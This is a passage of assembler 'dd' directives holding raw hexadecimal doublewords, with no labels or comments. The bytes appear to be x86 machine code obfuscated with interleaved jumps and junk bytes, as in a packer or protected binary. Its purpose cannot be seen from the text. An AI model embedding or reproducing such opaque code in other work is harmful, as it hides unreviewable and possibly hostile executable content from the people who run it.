dd 66F80000h, 0C129F081h, 0F5C28B66h, 3850Fh, 0B70F0000h
dd 28C0FD0h, 8B000000h, 0FE8B66C1h, 1850F60h, 0FC000000h
dd 0D171D181h, 66616107h, 0E99DB2B8h, 12h, 781AB004h, 0A2E360EAh
dd 0C5BCB975h, 87833D92h, 0C78BE0FBh, 754AB866h, 6659F553h
dd 6D82F381h, 6E8F58Ah, 1D000000h, 0A940D5C4h, 61F8604Bh
dd 0DE96058h, 0CF000000h, 0E7F1D87Ah, 0F9234222h, 0ABB545BBh
dd 0C886E9B9h, 0EC806175h, 4D9AB8C2h, 0C38119E1h, 28FEA130h
dd 158D0Fh, 10E90000h, 8A000000h, 0A202C086h, 0A9F9D11Eh
dd 0F3A3E6C2h, 0F977A139h, 8E9h, 0A2CD8300h, 8087022Fh
dd 2850FD2h, 8B000000h, 13E8C2h, 6F560000h, 2B16EBCFh
dd 0D1AB17D0h, 9D3384FCh, 0DB48D3DFh, 0BFDC80B6h, 0C820F5Bh
dd 60000000h, 69CF8166h, 64D6BBDAh, 0B8615F1Eh, 38886B92h
dd 5E9h, 2FB1EB00h, 0BF66CE5Bh, 8C0F6319h, 5, 0CBCA8166h
dd 9E901h, 45650000h, 93EE47BFh, 66AEC7B1h, 7978F081h
dd 0BE9h
dd 1E419500h, 8B205336h, 83A2994Fh, 19413DBFh, 13E85Ch
dd 8680000h, 0BEDF923Fh, 0A7B98E06h, 13933055h, 89F774F6h
dd 81665B5Ch, 0BE85E2F7h, 7ACA3CCBh, 197526BEh, 0A860F33h
dd 0F000000h, 485h, 1B96600h, 0C28B6612h, 49AB50B9h, 0CEBF0F75h
dd 0FCA8B66h, 488h, 7AB96600h, 0E8B966DFh, 0D18B6665h
dd 0FED98166h, 0CAB70F5Bh, 0E4E680FCh, 5AF28166h, 0F8C18BD7h
dd 0E8FBB70Fh, 12h, 0FFB9F68Eh, 0F1FBA6C3h, 3D0AF920h
dd 0E49373CBh, 8B66BD47h, 0B70F5FF8h, 108C0FF6h, 0E8000000h
dd 7, 0BA2A78DAh, 0FD34B4Ch, 8B59C2B7h, 7FB966D8h, 0B2F8F994h
dd 0E9F960BBh, 0Ch, 92C664AEh, 1F1D8AE0h, 9CA73AADh, 54D68161h
dd 665BB78Fh, 8166F08Bh, 0FD7CEC0h, 5E9F1B7h, 4C000000h
dd 0BED4F249h, 5870Fh, 81660000h, 8B2279EBh, 0EAD680D7h
dd 6660DA8Bh, 6661FA8Bh, 800FC28Bh, 0Ch, 68C0Fh, 840F0000h
dd 0
dd 9E960h, 0E3C20000h, 0F5D5C3C4h, 661008A3h, 61CDCBBFh
dd 81F2B70Fh, 8941CAD9h, 3830F3Ch, 80000000h, 0E9507EF3h
dd 0Fh, 2358D5CCh, 0AD0A090Fh, 90879237h, 5FFF9A68h, 0F38B66F8h
dd 7BCE8166h, 665A5381h, 6B47C181h, 0C38B66FCh, 0EE8h
dd 0D4F6B300h, 36B4CF52h, 0E23D2B99h, 667AB626h, 0E95BFE8Bh
dd 0Dh, 275D73BDh, 987F9F48h, 7B2D3864h, 0BF66FC40h, 0E781C15Fh
dd 18289580h, 805BF953h, 9BB90DE9h, 6019BF98h, 6661F5FCh
dd 0F438BBBh, 18Dh, 0BF51F800h, 0C6F2AA4h, 6E959h, 0A030000h
dd 0F0ECB36Fh, 0D08A85B5h, 0FC6C080h, 6052F2B7h, 0F5861FCh
dd 887h, 0BE666000h, 0F48A93C6h, 16D88061h, 0C831B966h
dd 5A57C88Bh, 10E9h, 285F4A00h, 18DB7AF8h, 4A75DD9Eh, 8985BCF9h
dd 0C8D0FD2h, 0F000000h, 68Ah, 12CF8100h, 667712FEh, 0EE9F38Bh
dd 9E000000h, 0A80EE55Ch, 0EFA7E3D3h, 68122787h, 66B8660Ch
dd 2E8D0F6Bh, 60000000h, 0CE8h, 0C1EF9100h, 8274A3C1h
dd 30BE011Ch, 14E85A42h, 0F9000000h, 0C5F8A91Fh, 0E431D1C6h
dd 3E41353Dh, 706DBC21h, 58F4E522h, 0EF56BE61h, 12E91576h
dd 0E8000000h, 0AAE95620h, 0FF9CDF80h, 0DED8818Ch, 0FC246434h
dd 0E7CC80E9h, 57D9BF0Fh, 93252BFh, 8D0F592Eh, 0
dd 6E8h, 6FA8AA00h, 0BBE8CDA1h, 73E51B01h, 64DD8059h, 6BBBD88Bh
dd 0F466787h, 1B8Eh, 0FE800h, 36DF0000h, 2CA5E262h, 506571A8h
dd 3180BCDEh, 820FE5h, 5A000000h, 0FE9CA8Bh, 4F000000h
dd 0CFC41F7Eh, 49D7C8F6h, 2861CB1Bh, 12E9001Ah, 0DC000000h
dd 0A330454Ch, 96F80455h, 6D1FDDD8h, 4DFF63A1h, 8E8B5h
dd 9DF40000h, 0EB37FCAAh, 21B8E5DEh, 5B52AF40h, 0B2CE8B66h
dd 0E800B71Bh, 8, 94B9DD3Ah, 252D904h, 3840Fh, 0DF800000h
dd 0BEF85A7Ch, 1EB1239Eh, 12E9h, 0E2A9D900h, 23DE819Ah
dd 622899B5h, 47EBAED4h, 0E985D34Ah, 0Fh, 39266FF7h, 56168C9Eh
dd 93A20957h, 8AECE685h, 9E860CAh, 0AD000000h, 7C6623A1h
dd 0D7640560h, 0B35F6160h, 75BF61E5h, 0F2D96C9h, 178Eh
dd 0EE800h, 0EE230000h, 0A5C65157h, 7FD5ED48h, 0E5A1573Eh
dd 5FC9BF0Fh, 5870Fh, 81660000h, 608968C8h, 0F61DE8Bh
dd 18Eh, 6652F900h, 0E85FD38Bh, 13h, 0E8E4661Bh, 0E76D5D31h
dd 0EFB854AEh, 781EABEEh, 5845C7AEh, 5880Fh, 5EBE0000h
dd 0E97D0B2Bh, 0Dh, 37A974C0h, 43DFCD6Eh, 206AD111h, 0CE978h
dd 5C840000h, 5BBD10CBh, 0A984524h, 830F3A96h, 1Dh, 12E8h
dd 1143DF00h, 78206AD1h, 2604CB50h, 61DAE570h, 665E6169h
dd 0D0C5D381h, 8F0F5Bh, 0E9000000h, 6, 903FE0Dh, 0E98178E6h
dd 12C45EB2h, 0CFBF0FFCh, 5860Fh, 81660000h, 0E93D08D3h
dd 9, 3CDA0E67h, 0C46E3C8Dh, 0EE8166ECh, 0BF662723h, 880F1F51h
dd 0Eh, 8B0F60h, 0F000000h, 8Ah, 81666100h, 0F1B52C6h
dd 285h, 0FF98A00h, 8166F8B7h, 60101BD2h, 41F2B866h, 6158F580h
dd 0AE8h, 0A476D100h, 2088AA21h, 0FAE8CB6h, 283h, 5F5F5000h
dd 5870F60h, 0B9000000h, 9DB19D6h, 9E960h, 0E8B60000h
dd 3CEA843h, 0BEA0D7D9h, 252FD9B6h, 0F516161h, 283h, 58616000h
dd 12E9h, 822B5800h, 7CF68B79h, 31EC410h, 9E3C1DE9h, 0B51324D9h
dd 0EE990h, 39E50000h, 0D9374A93h, 3F19D413h, 8C0FE0BDh
dd 0CE8h, 4341A000h, 0ADAAB493h, 2C4DD4D7h, 37EF8090h
dd 0DE959h, 0A020000h, 0D2AD27E8h, 7E00AC7Ch, 0E93B42CAh
dd 13h, 60199FD2h, 621142F8h, 0E304F663h, 1A48BC66h, 0BF1E4820h
dd 1045E1EBh, 0AE9h, 14C45600h, 5FF9BF17h, 53BE9F01h, 0FC5AD68Bh
dd 0B0C38B66h, 3DD681CEh, 0F08BFEAh, 0E81h, 0C9816000h
dd 48964190h, 850Fh, 66610000h, 8257EB81h, 5830Fh, 0EBB90000h
dd 6021EC3Eh, 9427B953h, 0B45A4BC0h, 0DE8619Dh, 64000000h
dd 407B2D38h, 0A6545CDFh, 0EFC6AB36h, 6E8h, 806500h, 0BBA63082h
dd 6BA82DB3h, 66605959h, 0E8C934BEh, 13h, 87D3AC9Dh, 722CE70Bh
dd 4FAD12EAh, 0EDD77C8Bh, 583D931Ah, 0F280F861h, 1890F01h
dd 0F9000000h, 0FCCE8BF5h, 11888DB8h, 58C98163h, 0E9384126h
dd 0Bh, 0ECD303E8h, 70CA5410h, 66376319h, 1DACEB81h, 0E9F7B70Fh
dd 12h, 0A5E459D0h, 31A16BFEh, 34B337D4h, 868B697Bh, 0F566B27h
dd 0F5AF3BFh, 800FF7BFh, 7, 66595760h, 8161C78Bh, 0BE25CFDBh
dd 5E965h, 75A30000h, 0FE67330h, 287h, 0B8DE8B00h, 6151CEFFh
dd 0D04DB866h, 0C5D7EF81h, 816630DFh, 8B0A68D1h, 3820FF0h
dd 50000000h, 800F5AF5h, 15h, 10E9h, 2AEE6C00h, 8881DCD0h
dd 856AA4C1h, 0C4C50617h, 0DE9BDh, 59C30000h, 5095EF25h
dd 7789906Eh, 0F2ECDB7h, 0C8Ch, 7E900h, 98490000h, 5746E0FEh
dd 58D0F79h, 66000000h, 7515D281h, 0FF08B66h, 820FF8B7h
dd 12h, 9E8h, 2B8B5C00h, 0DFEB86F7h, 0B70FC8D1h, 10E95BFBh
dd 0CC000000h, 0E20E3F14h, 9D1F4D19h, 56116E93h, 81F01068h
dd 89C58AC6h, 0BF0F600Fh, 0FE9C7h, 0C6AC0000h, 5D3937AAh
dd 714B465h, 0C0B12204h, 516061C7h, 9DC78166h, 81615BC3h
dd 66EC1EC2h, 66C78049h, 66C18B66h, 0ECD1CE81h, 12E9h
dd 13C43300h, 0D293C111h, 0E00DFBD2h, 0F622137Fh, 81C66B85h
dd 99AA4DEEh, 0C7E4BE17h, 66577A72h, 0FC25C981h, 89C2815Ah
dd 0F17816Ah, 0A84h, 0EA806000h, 0D981661Dh, 0F561C2B5h
dd 0CDC88166h, 0EE837h, 0E9910000h, 0DED5A203h, 1F4CAE2Fh
dd 0BFBDCCC2h, 0E95FD18Bh, 10h, 0A79A334h, 3C799DBDh, 7FC5035Ah
dd 1C07DCAEh, 8B66F08Bh, 9E957CEh, 0B0000000h, 0EE15CC3Ah
dd 4EF26B31h, 76F58058h, 5E9h, 0E7BA6700h, 0C18B5FA5h
dd 14E8h, 48972000h, 55C73EEFh, 5D7291D0h, 0F0BBCE90h
dd 42BD41D2h, 0CE8E4h, 0F1070000h, 0A6531C94h, 2551D40Bh
dd 0DE8ACE57h, 0CE95B58h, 2000000h, 0D99F92FFh, 35D583ABh
dd 802C8FE9h, 0E960DDD8h, 5, 5B1A1EBh, 0E3ABB3Bh, 8B614455h
dd 0CAB70FFAh, 14E9h, 0E041BF00h, 370505A3h, 0FCE9707Ah
dd 49E01FCh, 8B5578CBh, 0F38B6662h, 56D0BF0Fh, 5AC88B66h
dd 0D45401BEh, 14B8662Eh, 51C181F7h, 8042836Fh, 0F48A5DDDh
dd 9E8h, 6BF19400h, 7D04F832h, 0FE8300Eh, 90000000h, 0CBCCF0F5h
dd 0C33025A0h, 9D18F061h, 0B4BF34E6h, 58579218h, 6E958h
dd 6E9A0000h, 4A6820FAh, 0A8C0Fh, 5E90000h, 0A6000000h
dd 69CD28FAh, 0EE8h, 0B33BDE00h, 0D8F65FF8h, 0E11F813Dh
dd 60F6FF06h, 0F9B70FF8h, 0DE85A61h, 0E3000000h, 0F00F947Ah
dd 5DD816C6h, 0A0BB9ECEh, 5830Fh, 81660000h, 5E8346E7h
dd 5A51B457h, 3830Fh, 8B660000h, 4BE60F0h, 0E82AF43Fh
dd 11h, 453A5B8Bh, 0E17DC95Eh, 12DCABF4h, 4BCE605Fh, 5A5F5725h
dd 0BF605661h, 692BAE10h, 0DE85F61h, 6E000000h, 0C30D0488h
dd 69D3AE2Ch, 0E9EF4973h, 11E9h, 0FC91B200h, 5440CAC4h
dd 13DAFF7Ah, 0B19FBAAFh, 605ADDBBh, 6820Fh, 860F0000h
dd 0
dd 2CB8161h, 8B2CDD1Ah, 80EBB4D9h, 0F5041C1h, 28Fh, 59C68B00h
dd 0FD7BF0Fh, 8B66F7BFh, 10E9D8h, 26360000h, 8E3E682h
dd 4A396AD0h, 96FB8D95h, 0CE9F309h, 5D000000h, 4987B153h
dd 414CB8EBh, 0E8607F77h, 0Ah, 95A41A84h, 91402D87h, 12E9D782h
dd 0FD000000h, 6701972Fh, 7866BC5h, 0A50F6F16h, 0D75EEBB7h
dd 0EE805A0Fh, 0E680535Fh, 0AE95F6Ah, 0D5000000h, 529C8447h
dd 6DDC5C67h, 0BE890h, 207C0000h, 0AEC3479Ah, 745B2D98h
dd 8E95Ah, 64CE0000h, 6AB3EDE6h, 665910DAh, 0E9814BBAh
dd 7, 1EDB709Ch, 606B2868h, 28A0Fh, 0CA8B0000h, 6661CE8Bh
dd 890FC78Bh, 2, 0B70FCC8Ah, 28A0FC1h, 8B000000h, 0D08B66D9h
dd 59FA8B57h, 50C08166h, 8890FFCh, 0F000000h, 287h, 605A5200h
dd 66F08B60h, 61CB21BFh, 0CE861h, 7A1D0000h, 8B0AB70Eh
dd 1A7B5E9h, 8B66E217h, 0FF858C7h, 38Bh, 0EED78000h, 298BEA81h
dd 816040E3h, 2EDB0AE2h, 61C78B74h, 8EB8166h, 0ADBA6673h
dd 0CBB70F83h, 4890Fh, 0B9660000h, 81663485h, 0FC0599E3h
dd 5ED98B52h, 930CA81h, 0F98A265Ah, 66D98B66h, 7329F181h
dd 850F7EB5h, 7, 5E1FB960h, 0F615B5Fh, 1E8Eh, 18840F00h
dd 0E9000000h, 13h, 2F356EAh, 63E3EFA3h, 0F705C581h, 59BF37B0h
dd 5725E359h, 2860Fh, 0F18A0000h, 0D88B665Fh, 0BBC081F5h
dd 66279A7Dh, 61B8D781h, 10E9h, 3DDBA500h, 0DDAF2CD2h
dd 0D99A4A1Ch, 30CB3C18h, 4800F89h, 66000000h, 0E9293FBBh
dd 6, 93AC74Dh, 0DEBA4C8Fh, 0F1E5A52h, 587h, 0DB816600h
dd 0DE975A6h, 0B4000000h, 72E0AA49h, 0D6748776h, 0BB9398E4h
dd 7E8h, 0E72C2A00h, 0B8A8BDB7h, 0D40CE981h, 605F6C4Fh
dd 10E956h, 212E0000h, 6417038Ch, 1720AF19h, 0D6C09A3Bh
dd 0F5580598h, 9E861h, 0E86D0000h, 0AAE95620h, 669CDF80h
dd 5A18CDB8h, 0E0B18ABEh, 0D78B6603h, 12E9F5h, 8A460000h
dd 0DE59EA83h, 0A693154Bh, 0F0D982CBh, 48AB90A0h, 38D0Fh
dd 0E7800000h, 810F60D8h, 15h, 0FE8h, 4C790D00h, 0B3AD0ED0h
dd 682132AAh, 3E780E35h, 4BB9615Eh, 663F4248h, 0B866FB8Bh
dd 0B96669EEh, 6E97DE0h, 0CE000000h, 0E4DBE6EAh, 0EE90Fh
dd 34130000h, 0E063341Bh, 76AFFF75h, 3406D4DAh, 2830Fh
dd 0D78B0000h, 0A890C2BBh, 0AE875h, 35B00000h, 0CA5FDCE6h
dd 0E7CE8469h, 36DEBA58h, 5E95C18h, 74000000h, 0A15D9DB9h
dd 66F38B66h, 6608A1B9h, 665218BAh, 800FCE8Bh, 3, 0FFFBF0Fh
dd 188Fh, 13E900h, 5B9E0000h, 70D7694Fh, 67534BCCh, 18CA6C37h
dd 960C7097h, 30BF6624h, 0EA8160B2h, 2D372BC1h, 5CDCD781h
dd 0BE6129F8h, 252852CDh, 10E9h, 75A54500h, 2CCB3822h
dd 0CF030496h, 0FEA8D33Fh, 5E86070h, 59000000h, 0C53C2A4h
dd 87B93EB9h, 66615E07h, 66C2D4BAh, 1A84DA81h, 6AB6C0B0h
dd 7E9h, 41340100h, 0D830148Fh, 38B0Fh, 8B660000h, 68D0FFEh
dd 60000000h, 61606160h, 0CA6BF61h, 0F0800E44h, 54A9B8B5h
dd 9E80D80h, 0AA000000h, 4CC72FEDh, 0BE3ACAC6h, 9E9h, 0BD00F00h
dd 0B68E4D4Eh, 815B8112h, 4B8561C0h, 0DFE98137h, 661B880Ah
dd 0F7A90BFh, 1F8Fh, 0B9666000h, 14E91853h, 9000000h, 9237AD0Ah
dd 9A689087h, 34913AFFh, 0E7A637D1h, 61866181h, 9840Fh
dd 66600000h, 2B83F181h, 0BB616160h, 416AB808h, 66D38B66h
dd 0D487D081h, 0EE9h, 22369F00h, 6A323DFBh, 27645503h
dd 0F1BBF69h, 9E9D1B7h, 16000000h, 0C07ED6FEh, 1DCD14CAh
dd 0DA8B66FCh, 8B0F3FB2h, 3, 0E94FDC80h, 12h, 40459CCDh
dd 0A043A039h, 0C67D0C6Dh, 0FD65BCD9h, 816633B7h, 0E9CBDFF6h
dd 11h, 0C53EFD42h, 13710ECCh, 93A62B0Ch, 67D609h, 0BE9A3h
dd 0E7510000h, 8E40C4C2h, 0A06A5193h, 0C4BB668Ah, 56E9B4C8h
dd 0EE8h, 0D880CD00h, 408BE317h, 0DDAA044Fh, 5EA40EA9h
dd 1EB815Eh, 0F9067DBDh, 12E9h, 6AA77800h, 93998E26h, 995C92AAh
dd 0EDF2B8E1h, 57E64707h, 0DF1913BFh, 80F9583Eh, 0CE99EC7h
dd 0C0000000h, 568A8BBDh, 0C9474053h, 0F4A9B64h, 488h
dd 6FB86600h, 69D580DEh, 13E9h, 0D7CC9C00h, 0ECEC6F7Dh
dd 0AF7D97FBh, 80E25FC4h, 94BDCBE7h, 9EF08166h, 0CE91Ch
dd 6A1D0000h, 0B3DE9184h, 555A46ADh, 7E923F5h, 0C6000000h
dd 2B52F8D0h, 0D780A6FCh, 6CBF662Eh, 0DE8EAh, 0E8820000h
dd 6DE4616Fh, 0D60F4C8h, 0F5A0EE7h, 805FC1B7h, 80570CE8h
dd 0B85E92D3h, 5A2E6FDCh, 12B7F98Bh, 8166DEB7h, 0B60CF4D7h
dd 0BE99Ch, 339E0000h, 28DD631Fh, 0EC737686h, 68F0FB0h
dd 81000000h, 0F7AC4EC8h, 9E94Eh, 27120000h, 8E289577h
dd 8186A82Bh, 66812DEFh, 66FA8B77h, 0A740CF81h, 5850Fh
dd 0DEBA0000h, 665F2138h, 6656F98Bh, 605BD38Bh, 7311BB66h
dd 61D9B70Fh, 0BE8h, 37DFE100h, 0DEF79354h, 6D50AA59h
dd 9E67BE66h, 5BFC525Bh, 0D3B70F50h, 17800F58h, 0E9000000h
dd 12h, 57922707h, 32B72665h, 0E920C1ECh, 4DE0CB8Ch, 0E8F50900h
dd 10h, 0AD11679Dh, 494ECF8Ch, 0CA84F5BCh, 1DAFEC00h, 81DDBF66h
dd 820F605Fh, 6, 830Fh, 80610000h, 8AF9B5D6h, 98D0FCBh
dd 0F000000h, 385h, 0B7D28000h, 1D54BE66h, 12E952h, 7D020000h
dd 14D5602Ch, 30B0BA86h, 0BE875064h, 0B240F87Eh, 0BE85Fh
dd 0D1BD0000h, 0A51C861Eh, 0F72625A6h, 89E3801Bh, 8B66505Fh
dd 0FA8B5FCAh, 0EE857h, 969A0000h, 0FD15C4Ah, 0E297BAF7h
dd 0ADA083C8h, 1BEF8166h, 0E85E5A40h, 6, 79B617F5h, 9E995A7h
dd 1F000000h, 1369B3DAh, 58361564h, 9E858h, 0CF030000h
dd 0FEA8D33Fh, 0B1C32D70h, 870F5F64h, 4, 954BBF66h, 13E9h
dd 98624400h, 0DA1DA7F1h, 9CD61C29h, 0E08D3844h, 4E8720FFh
dd 7ACBD381h, 81662EA4h, 60F3F8C3h, 8A0Fh, 7E90000h, 0C0000000h
dd 9AAB8A7Eh, 66613D50h, 69D2E281h, 0D810Fh, 8E90000h
dd 0BC000000h, 0F3EF73C7h, 66BEBD45h, 8E9D08Bh, 0F7000000h
dd 0ABE3F77Eh, 0F9D34BDh, 88Dh, 2840F00h, 8A000000h, 0FE8B66CFh
dd 0CE9DF8Bh, 76000000h, 0A3E9F1E2h, 0A3DCEADCh, 660DD061h
dd 0F28BD98Bh, 0F820Fh, 0AE90000h, 0B6000000h, 2072B2DFh
dd 43861F70h, 0C9BF0FAEh, 66D9BF0Fh, 0F94DD381h, 59E28166h
dd 0EE9CCh, 0AA6B0000h, 0A0CF9E3Ah, 85AD4039h, 0DA135710h
dd 8BF7B70Fh, 0FF8FCC3h, 870FD2B7h, 4, 5119BB66h, 13E9DA8Bh
dd 8E000000h, 80D0BEA1h, 0A4EBB585h, 2CE98044h, 1F2E012Ch
dd 0E95646B4h, 0Eh, 708B33CAh, 1DFFB350h, 7AC146E2h, 605A80DAh
dd 10E9EFB2h, 3C000000h, 0E4F1F7CCh, 0A2BC60FDh, 5E5DA888h
dd 61826611h, 3EEA81FCh, 6625A2A3h, 8B66F18Bh, 66F960F7h
dd 8E1BC881h, 0E1F5BF61h, 66606D17h, 6661FBBBh, 61A1A9BBh
dd 11E9DBB1h, 7000000h, 0A8844ECh, 0EE31FBE6h, 447BA155h
dd 67C34E69h, 60BBB560h, 5950ABB2h, 0B9666161h, 10E9C308h
dd 5D000000h, 250FEFBFh, 0E7B35885h, 0FC3E0204h
dd 531070CBh, 7E95Fh, 62AB0000h, 9896B8C5h, 0FE8C5h, 66AC0000h
dd 1F22F2B7h, 6DA5ED58h, 0ADC017FFh, 0E7815905h, 42F610BBh
dd 8830Fh, 8A0F0000h, 2, 8BF5FE8Ah, 0DE9D3h, 4B520000h
dd 0E7E5CA9h, 709BBAF3h, 66694CC0h, 814339BAh, 0DBF1E5EFh
dd 0EE976h, 12FB0000h, 7C46A794h, 51E21640h, 746F352Bh
dd 447952BEh, 0E9F8606Fh, 12h, 906C25C4h, 5E077E87h, 9F8E949Bh
dd 0F2C7D525h, 0F617492h, 188Dh, 12820F00h, 0E8000000h
dd 0Ch, 0F648086Bh, 0F5AE3683h, 0F2DC0B2Eh, 12BB6658h
dd 7E910h, 0BC670000h, 0E5D9117Bh, 0CE839h, 85FE0000h
dd 0A0D618A3h, 30D11746h, 0CB808CDFh, 51605939h, 0FC5A5B50h
dd 86BB6661h, 8A0FD2h, 66000000h, 0BE35F381h, 8E860h, 17670000h
dd 0B63133F8h, 840F18E3h, 0
dd 6E858h, 0B5680000h, 6B7BCE50h, 8A0Fh, 61580000h, 0EE8h
dd 59E2CE00h, 0E6A1A6h, 725CFDE8h, 50F8C4BAh, 595A5E57h
dd 6E9h, 0E594E800h, 66C3E836h, 0C281C68Bh, 341C088Ch
dd 3810F53h, 66000000h, 8159C78Bh, 644803DAh, 13E848h
dd 3B1D0000h, 8C03D348h, 0A4CA7045h, 75E7CAC5h, 0D23E006Ch
dd 15B560EFh, 6149E380h, 8E95Eh, 0B7B10000h, 3A7EF057h
dd 0C181300Ah, 14241701h, 4AD38166h, 0EE97Eh, 49150000h
dd 4D535969h, 0ED9637C1h, 623DAB63h, 2810Fh, 0F38B0000h
dd 3830Fh, 0E5800000h, 14E95090h, 76000000h, 444F80BAh
dd 0B50B4DCDh, 1612BD91h, 866674Ch, 5AFE3CFDh, 8166E18Ah
dd 662442D3h, 821CE981h, 28E0Fh, 0C38B0000h, 8E9h, 7F84B00h
dd 642B7AE8h, 0B866FCADh, 8B66F209h, 14E9D1h, 0D0E70000h
dd 0A130B393h, 973798C8h, 1D2CE819h, 0E3CAD01h, 80605561h
dd 61F935EAh, 5E9h, 95ACDF00h, 0D68BE29Fh, 0EB5EBE66h
dd 0E981FCF8h, 7187045Dh, 83977BBFh, 0D9B70F09h, 0E985BF66h
dd 57E18166h, 9FB1BA0Bh, 0BB666635h, 0E960820Eh, 10h, 0CDE64412h
dd 58D70167h, 3B7BFE35h, 2C28537Eh, 18880Fh, 13E90000h
dd 0E6000000h, 814B0A77h, 0A980041Dh, 2318468Bh, 7F63214Fh
dd 8061D3BCh, 0DD8A0CE0h, 777DBB53h, 665F3D18h, 0A1B7D88Bh
dd 8A0F60h, 56000000h, 87904CBAh, 0F615874h, 8F0FF8BFh
dd 16h, 11E9h, 0AE0B7000h, 97202FF0h, 0C73EEF48h, 7291D055h
dd 810F905Dh, 6, 840Fh, 0BF0F0000h, 7880FC8h, 57000000h
dd 38A3BB9h, 2DBE5B7Eh, 0F505AFB0h, 771CB966h, 0E8D38B66h
dd 0Bh, 8EFD5262h, 7841E7E6h, 6636ED7Bh, 6D93C681h, 0FFB70F5Bh
dd 0DB60BE66h, 4202A5B8h, 0EA816000h, 1FE16D45h, 8B66F561h
dd 0BF0F52D9h, 0D98A59DFh, 0AE9h, 0CA438200h, 3FCA0D95h
dd 81762924h, 0DD5B87C0h, 13E95Dh, 49CC0000h, 910A2572h
dd 0C88B4B24h, 0E2C35B52h, 1407A4BCh, 10E908h, 0D2D70000h
dd 71A765CEh, 0C809DD4Ah, 1E7039F0h, 81661917h, 0F89776C9h
dd 8166F88Bh, 52F8E9C9h, 0B562C781h, 8A580653h, 68C0FD1h
dd 81000000h, 283AA0F2h, 5B53603Eh, 0E8F88B61h, 12h, 95988612h
dd 35DDDED3h, 0A28D7261h, 0C1A11B6Fh, 58F5EB83h, 4F7284BAh
dd 0D6816647h, 12E9FF08h, 0FB000000h, 7C4AB636h, 2F93EC64h
dd 3764654Dh, 13836943h, 0AE9A6h, 7F2F0000h, 982142E8h
dd 5FFEB66h, 0F6ED8060h, 14870F61h, 0F000000h, 0E8Ch, 9E900h
dd 7A9B0000h, 9148591Ch, 5789465Ah, 7C31B866h, 68D4BA5Bh
dd 8D0F38C4h, 0
dd 0FE9h, 69840200h, 7A8D5A8Eh, 4228F91Eh, 5D553E1h, 0AE9h
dd 370BB700h, 0CDF5F7B0h, 0F0757F4h, 28Eh, 0F5C38B00h
dd 66F18B66h, 0BB66F28Bh, 0BE503363h, 3C3DD78Eh, 0CB816659h
dd 0F28B3FAAh, 38D0Fh, 8B660000h, 0B05A52FBh, 3FB2B920h
dd 8F0F04A6h, 1, 840F60F8h, 5, 0D611EABEh, 0E3816062h
dd 72B18372h, 8A0Fh, 61610000h, 6E9h, 0D2BFEA00h, 608FE626h
dd 61D88BFCh, 4800Fh, 0BF660000h, 0B0FC6DEBh, 0FD9B209h
dd 487h, 0DE8B5600h, 0FEF8A59h, 8166DABFh, 66A439C6h, 0D4D8F381h
dd 0DE27B9BFh, 14850F2Eh, 0E9000000h, 0Fh, 0A0DF3467h
dd 94390CE9h, 0DC938B84h, 6056B77Ah, 0BE9h, 42AA6300h
dd 289700DBh, 3453160h, 0F61DBB2h, 0F81h, 0AE900h, 6D0B0000h
dd 1CC88515h, 24CD2547h, 8E860h, 368F0000h, 4FA557D2h
dd 575BF213h, 830Fh, 61590000h, 0EE9C18Bh, 0EB000000h
dd 0E1AA0098h, 0E3E5ABABh, 991E9A51h, 0DE8B66C3h, 564EEA81h
dd 8F0F4EFFh, 4, 5DADBA66h, 13E8h, 56168C00h, 93A20957h
dd 15ECE685h, 0CD5A4E8Eh, 0B7E69E93h, 5EDF8B66h, 188B0Fh
dd 13E90000h, 0CD000000h, 0ABD4755Fh, 667826FCh, 0EEC0C2CBh
dd 4898E336h, 12E9DB66h, 39000000h, 0E70C99Bh, 7311350Dh
dd 23D188F1h, 760D89D6h, 8E8E8h, 0E2AA0000h, 0B788271Dh
dd 8B661354h, 0B9505FC1h, 1AC7A1DEh, 20BA6659h, 0F88B660Ah
dd 0E952F78Bh, 12h, 0FC175BAh, 0F1963367h, 41FBD675h, 0F0D5B404h
dd 665F7FECh, 0CE9F88Bh, 0CD000000h, 4C57C3FEh, 0DC8AE976h
dd 0E8FD6DC3h, 0Dh, 5B91AB57h, 0FA2B5098h, 8BD495FBh, 0FFBF0FC3h
dd 0C0BF0F5Ah, 12E8h, 0DA7E9000h, 9E8F6B4Ch, 0B256CB8Ah
dd 87D7C663h, 0F88571Fh, 387h, 0FB8B6600h, 12E85Eh, 0B4E10000h
dd 115BB830h, 11242739h, 44B6684Ch, 3E8CA6BAh, 4E76C781h
dd 665E6030h, 895FD081h, 38E0Fh, 0B70F0000h, 0BE8CEh, 55B30000h
dd 0C056F954h, 894E0F32h, 48F0F95h, 66000000h, 5A7E49B9h
dd 870FCF8Ah, 2, 0EF81E68Ah, 19AAD86Fh, 13E8h, 0B94EFF00h
dd 8D7FFAE7h, 1AB17CCDh, 64826CCFh, 86CADAh, 14E8h, 889B7200h
dd 4C6DE0ABh, 0B7BAEE4h, 393204Bh, 9ADBECCCh, 5F5FFC60h
dd 4880Fh, 0B9660000h, 66604617h, 0C4BBF98Bh, 617880D0h
dd 11E9h, 0EFDCD600h, 805189A2h, 3FAD42BCh, 540B26E1h
dd 0E860C407h, 10h, 9F890832h, 5BAB71B6h, 0BFF311Ah, 141B547Fh
dd 0C78166h, 0B70F5A2Ch, 80F961D7h, 8F0FFAF0h, 6, 0F69EC381h
dd 8A0F3D82h, 17h, 10E957h, 0BBEF0000h, 0DE5E8023h, 484709E2h
dd 0D4A6D23Fh, 575E23C2h, 12E9h, 0B50A6100h, 303F767Ah
dd 0AEC827DDh, 92BD1157h, 5E972645h, 0CF41BA66h, 10E8h
dd 0BEE26500h, 12958193h, 7CF8BAFEh, 32BEF332h, 0DE9EDh
dd 79B40000h, 0C8134DC5h, 2E5CF9AAh, 5A05740Ch, 18E38166h
dd 0FCFE8B03h, 80DEB70Fh, 0B552F0E9h, 0CE8B59A0h, 66C38B66h
dd 81E76FBAh, 6A954AC0h, 0E4EF8144h, 0F20DC9Dh, 8Ch, 17800F00h
dd 0E8000000h, 0Fh, 960D05Eh, 96582255h, 0EBAD7678h, 51721FBCh
dd 5E95F5Eh, 9F000000h, 998A9437h, 0F7B70FFCh, 0CB80D18Ah
dd 0FB0B38Eh, 281h, 81C38B00h, 0DA3BBEC3h, 0F19CB84Dh
dd 0BF0F1303h, 0B70F56F8h, 0CF8B58F8h, 9870Fh, 890F0000h
dd 3, 0F5F38B66h, 0F5F7BF66h, 0E5CE8160h, 5328193Ch, 13E8h
dd 3E56BF00h, 0F9581BE8h, 94919A12h, 96978E7Ch, 63CB4D0Dh
dd 81615A5Ah, 0A12437EAh, 8A0F500Ah, 0Eh, 8E8h, 0C7FF9D00h
dd 0FFA5479Ch, 605F5E1Fh, 8166F560h, 61725FF7h, 70CF8166h
